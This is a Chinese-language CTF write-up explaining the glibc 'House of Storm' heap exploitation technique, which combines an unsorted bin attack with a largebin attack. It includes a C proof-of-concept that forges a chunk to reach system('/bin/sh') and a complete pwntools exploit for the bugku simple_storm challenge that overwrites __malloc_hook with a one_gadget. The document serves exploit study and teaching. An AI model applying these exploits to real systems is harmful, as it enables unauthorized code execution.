堆Pwn：House Of Storm利用手法
0x00：介紹
利用手法的背景：
house of storm是一種結合了unsorted bin attack和Largebin attack的攻擊技術，其基本原理和Largebin attack類似。但不同的是，Largebin attack只可以在任意地址寫入堆地址，而house of storm 則可以導致任意地址分配chunk，也就是說可以造成任意地址寫的後果，危害性大。不過，house of storm 雖然危害大，但其利用條件也是十分苛刻的。
該利用手法適用於glibc 2.28及以下的版本，因為unsorted bin attack在glibc 2.29中已失效。
利用條件：
1. 需要unsorted bin中的bk指針可控；
2. 需要largebin中的bk指針和bk_nextsize指針可控；
3. 需要在largebin和unsorted bin中分別布置一個chunk，同時需要這兩個chunk在歸為之後處於同一個largebin的index中，且unsorted中的chunk要比largebin中大；
前置了解：
需要了解unsorted bin attack和Largebin attack攻擊手法。
下面會先大概介紹一下這兩種攻擊手法，並說明如何疊加變成house of storm。
0x01：前置的利用手法
Unsorted Bin Attack：
該攻擊手法可以達到任意地址寫一個libc地址(即unsorted_chunks(av))的效果。unsorted bin attack發生在malloc時，對unsorted bin 中的chunk脫鏈時刻。圖中的文字註明已經很清楚了，只要將unsorted bin的末尾chunk的修改為target – 0x10處，則在chunk脫鏈後，前後chunk進行fd/bk互連的過程中，會將target處賦值為一個libc地址。
但大家往往只關注到了target處被賦值了，其實unsorted_chunks(av) → bk同時也被賦值為了target – 0x10。
注意，在libc2.29中，這部分加入了雙鏈表檢查。這表明從libc2.29開始，unsorted bin attack手法就無法使用了。
Largebin Attack：
該利用手法的本質和unsorted bin attack一樣，都是基於雙鏈表互連過程中發生的。不過由於在large bin中，有靠fd/bk相連的雙鏈表和靠fd_nextsize/bk_nextsize相連的雙鏈表，所以可以對任意兩處的地址進行賦值，賦值為堆地址（victim，從unsorted bin中脫鏈出來的chunk）。
2.23 ~ 2.29版本中largebin attack的利用點，在2.30及以後的版本中，這裡加入了雙鏈表檢測，所以在libc2.30及以後，該處的largebin attack無法使用了。
Buffer疊加：
這裡說一下unsorted bin attack和largebin attack如何疊加，變成house of storm，達到任意地址分配chunk的效果。
在unsorted bin中的chunk脫鏈，然後鏈接到large bin的過程中，可以同時進行這兩種攻擊。為之，所以我們需要在large bin中布置一個chunk，並且在unsorted bin中布置一個size稍大於largebin的chunk，使其能夠鏈接在large bin中chunk的後面。
house of storm中，unsorted bin attack主要用到的是unsorted_chunks(av) → bk同時也被賦值為了fake（只是一個記號）。在下次申請chunk，使其進入unsorted bin的分支時，victim = unsorted_chunks(av) → bk（即fake），緊接著會有一個分支檢查其size是否滿足申請。只要滿足了，則會直接分配fake處為chunk返回。現在，我們的關鍵點就是如何使用largebin attack使得其size發生穩定的改變。
我們已經知道largebin attack是向任意地址賦值堆地址。在64字長的系統中，地址定址為8位元組，但堆地址只佔5個位元組，而特別的是僅已0x55或0x56開頭。那麼只要我們通過largebin attack向fake + 0x3處，賦值一個堆地址，則以fake為chunk的size處為0x55或者0x56。這樣，就成功的修改了size。
注意小端序的問題：
0x02：Demo示例
// gcc -ggdb -fpie -pie house_of_storm.c -o house_of_storm
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
char chunk_head[0x10];
char content[0x10];
}fake;
int main(void)
{
unsigned long *large_bin,*unsorted_bin;
unsigned long *fake_chunk;
char *ptr;
unsorted_bin=malloc(0x418);
malloc(0X18);
large_bin=malloc(0x408);
malloc(0x18);
free(large_bin);
free(unsorted_bin);
unsorted_bin=malloc(0x418);
free(unsorted_bin);
fake_chunk=((unsigned long)fake.content)-0x10;
unsorted_bin[0]=0;
unsorted_bin[1]=(unsigned long)fake_chunk;
large_bin[0]=0;
large_bin[1]=(unsigned long)fake_chunk+8;
large_bin[2]=0;
large_bin[3]=(unsigned long)fake_chunk-0x18-5;
ptr=malloc(0x48);
strncpy(ptr, "/bin/sh", 0x48 - 1);
system(fake.content);
}
該程式碼展示的最終目標是分配chunk到fake_chunk。
程式碼16~19行，分配了兩個large bin範圍的chunk，並隔開。稍大的chunk後面會被調(tiao)到unsorted bin中，稍小的chunk會被free到large bin中。
程式碼21~24行，先將兩個chunk free到unsorted bin中（頭插法，先進先出）。然後malloc稍大的那個chunk使稍小的chunk進入large bin中，最後再次free掉稍大的chunk，使其進入unsorted bin。這樣就滿足的第三個條件。
後面就是對bk和bk_nextsize指針進行操控：
//程式碼26 ~ 33
fake_chunk=((unsigned long)fake.content)-0x10;
//unsorted_bin->bk = fake_chunk
//則fake_chunk->fd = unsorted_chunks(av),不過似乎沒有發揮使用
//重點是：unsorted_chunks(av)->bk = fake_chunk
unsorted_bin[0]=0;
unsorted_bin[1]=(unsigned long)fake_chunk;
large_bin[0]=0;
large_bin[1]=(unsigned long)fake_chunk+8;
large_bin[2]=0;
//(fake_chunk-0x18-5)->fd_nextsize = victim(a heap_addr)
//即fake_chunk-0x18-5+0x20 = fake_chunk+3 = victim
large_bin[3]=(unsigned long)fake_chunk-0x18-5;
/*其實,largebin attack部分這樣也可以：
* large_bin[0]=0;
* large_bin[1]=(unsigned long)fake_chunk-0x8-5;
* large_bin[2]=0;
* large_bin[3]=(unsigned long)fake_chunk-0x8;
*因為有兩處可以修改任意地址
*/
malloc(0x48)：申請0x50大小的chunk，chunk中size為0x55/0x56的大小也會被歸為0x50這一級別。malloc(0x48)這一過程中，把unsorted_bin脫鏈，並鏈接到了large bin中。
這裡需要size為0x56才能分配chunk成功，0x55是會發生報錯的。其原因是因為從_int_malloc返回到_libc_malloc後，還會有個斷言對chunk進行檢查：
/*
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
過以下檢測需要滿足的要求，只需滿足一條即可
1. victim 為 0
2. IS_MMAPPED 為 1
3. NON_MAIN_ARENA 為 0
*/
assert(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr == arena_for_chunk(mem2chunk(victim)));
0x56：0101 0110，滿足第二個。
0x55：0101 0101，不滿足，會報錯。
因為系統一般會開ASLR，所以0x56、0x55發生的概率差不多，crash的話，多試幾次就好了。
0x03：題目實踐
bugku的simple_storm：
鏈接：//pan.baidu.com/s/131cOS7m9gG34BKqDRWxMig 提取碼：lele
靜態分析程式，delete函數裡面存在UAF漏洞，那就可以隨便玩了。
這裡使用house of storm手法，應該還有其他方法。
具體思路就不說了，和上面的示例基本一模一樣，這裡getshell是通過覆蓋malloc_hook為one_gadget。需要注意的是選擇fake_chunk位置時，size位不能有數據，要為空。
from pwn import * context(os='linux', arch='amd64', log_level='debug') io = process("./simple_storm") #io = remote("114.67.175.224", 12327) libc = ELF("./libc-2.23.so") def add(size): io.sendlineafter("Your choice?", "1") io.sendlineafter("Size?", str(size)) def delete(idx): io.sendlineafter("Your choice?", "2") io.sendlineafter("Index?", str(idx)) def edit(idx, content): io.sendlineafter("Your choice?", "3") io.sendlineafter("Index?", str(idx)) io.sendlineafter("Content?", content) def show(idx): io.sendlineafter("Your choice?", "4") io.sendlineafter("Index?", str(idx)) def debug(): gdb.attach(io) pause() add(0x400) #0 add(0x18) #1 add(0x410) #2 add(0x18) #3 delete(0) show(0) main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 88 libc_base = main_arena - 0x3c4b20 print("@@@ main_arena = " + str(hex(main_arena))) print("@@@ libc_base = " + str(hex(libc_base))) delete(2) add(0x410) #4 delete(4) ogg = [0x45226, 0x4527a, 0xf03a4, 0xf1247] malloc_hook = main_arena - 0x10 fakechunk = malloc_hook - 0x50 edit(4, p64(0) + p64(fakechunk)) edit(0, p64(0) + p64(fakechunk + 0x8) + p64(0) + p64(fakechunk-0x18-5)) add(0x48) #5 edit(5, p64(ogg[1] + libc_base)*9) add(0x20) io.interactive()
本文參考：
//www.anquanke.com/post/id/203096
//www.cnblogs.com/Rookle/p/13140339.html
tolele
2022-09-25
